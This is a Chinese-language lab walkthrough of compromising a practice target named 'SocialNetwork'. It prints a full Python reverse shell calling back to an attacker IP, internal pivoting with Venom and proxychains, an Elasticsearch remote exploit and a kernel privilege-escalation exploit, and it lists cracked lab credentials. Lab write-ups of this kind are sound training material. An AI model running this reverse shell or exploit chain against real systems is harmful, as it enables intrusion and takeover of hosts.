打靶-SocialNetwork
0x00 准备工作
中等难度的靶机,Description如下:
|
|
直接装在vmware上即可。
0x01 正式打靶
上nmap扫描主机的端口,发现开放了22和5000。
再深入扫描一下服务,发现5000端口使用了Werkzeug。
baidu一下,发现Werkzeug是作为一个Python Web框架的底层库。
访问下5000端口,发现存在一个留言板。
使用dirsearch来进行路径发现,发现存在一个隐藏的admin路径,接下来访问它。
好家伙,这个页面可以直接进行代码执行。
这里插一个小细节,之前扫描出web服务的编程语言是python,所以这里可以通过python的代码执行来反弹shell。
应用的代码如下:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.92.129",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
本地开2333端口侦听,执行id命令后,能看到是root用户,不过当前目录下的dockerfile很可疑,可能进入的系统是docker容器的系统。
确定进入的系统是否为docker系统的方法:
ls /.dockerenv
,查看根目录下是否存在有.dockerenv文件cat /proc/1/cgroup
,1代表初始化进程的id,当它的cgroup文件中包含docker文件的映像信息和哈希值,就100%确定工作在docker环境
查看当前ip,然后在内网进行主机发现,当前172.17.0.2/16是b段,全部ping的话,主机数目过多。
这里利用一个小脚本for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done
,可以看到1-3主机是存活的。
然后使用Venom工具,./admin_linux_x64 -lport 8888
,侦听8888端口,再用python3 -m http.server 80
开启web服务,用靶机wget下载agent_linux_x64。
kali上面会得到结点响应,再开启socks5代理。
使用proxychains nmap -sT -Pn 172.17.0.1
,扫描172.17.0.1的端口。
再次详细扫描proxychains nmap -p22,5000 -sV -sT -Pn 172.17.0.1
,不能说是一模一样,只能说是完全一致。
然后在浏览器部署代理后访问页面。
似曾相识燕归来,根据他们相同的内容,可以做出判断,这所谓的两台主机其实是同一台主机,只不过一个对应内网ip,一个对应外网ip。
好了,下面就朝着172.17.0.3猛攻,扫描它的端口。
开启了9200端口,在详细扫描一下,可以发现是Elasticsearch服务。
web访问,得到版本信息。
利用searchsploit elasticsearch
找一下历史漏洞。
使用cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
拷贝到当前目录下,简单查看下代码。
使用proxychains python2 36337.py 172.17.0.3
来getshell,发现获取到的还是root权限。
在当前目录查看,发现一个passwords文件,查看一下。
文件的格式貌似是用户名和密码的哈希值,在线解密汇总。
john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane
经过尝试ssh连接,只有john用户可以登录到192.168.92.134上。
查看john的权限,发现并不能够直接sudo。
下面尝试本地提权,最主要的一种方法是通过内核漏洞提权,查看下当前的版本。
再利用searchsploit查找下。
拷贝到当前目录,cp /usr/share/exploitdb/exploits/linux/local/37292.c .
,这个明显是c语言写的,但是靶机上运行不了gcc,无法编译。
阅读代码发现,代码运行中会再次调用gcc命令将.c文件编译成.so文件。
对源代码进行修改,删除掉143-147行内容。
使用gcc -o exp 37292.c
进行编译,编译过程中会报错,但是并不影响。
使用locate命令用于查找符合条件的文件,同样拷贝到当前目录下,再用python启动web服务。
用靶机wget下载exp和ofs-lib.so。
然后把两个文件移到tmp文件夹,再修改exp的权限后执行。
最后,提权成功!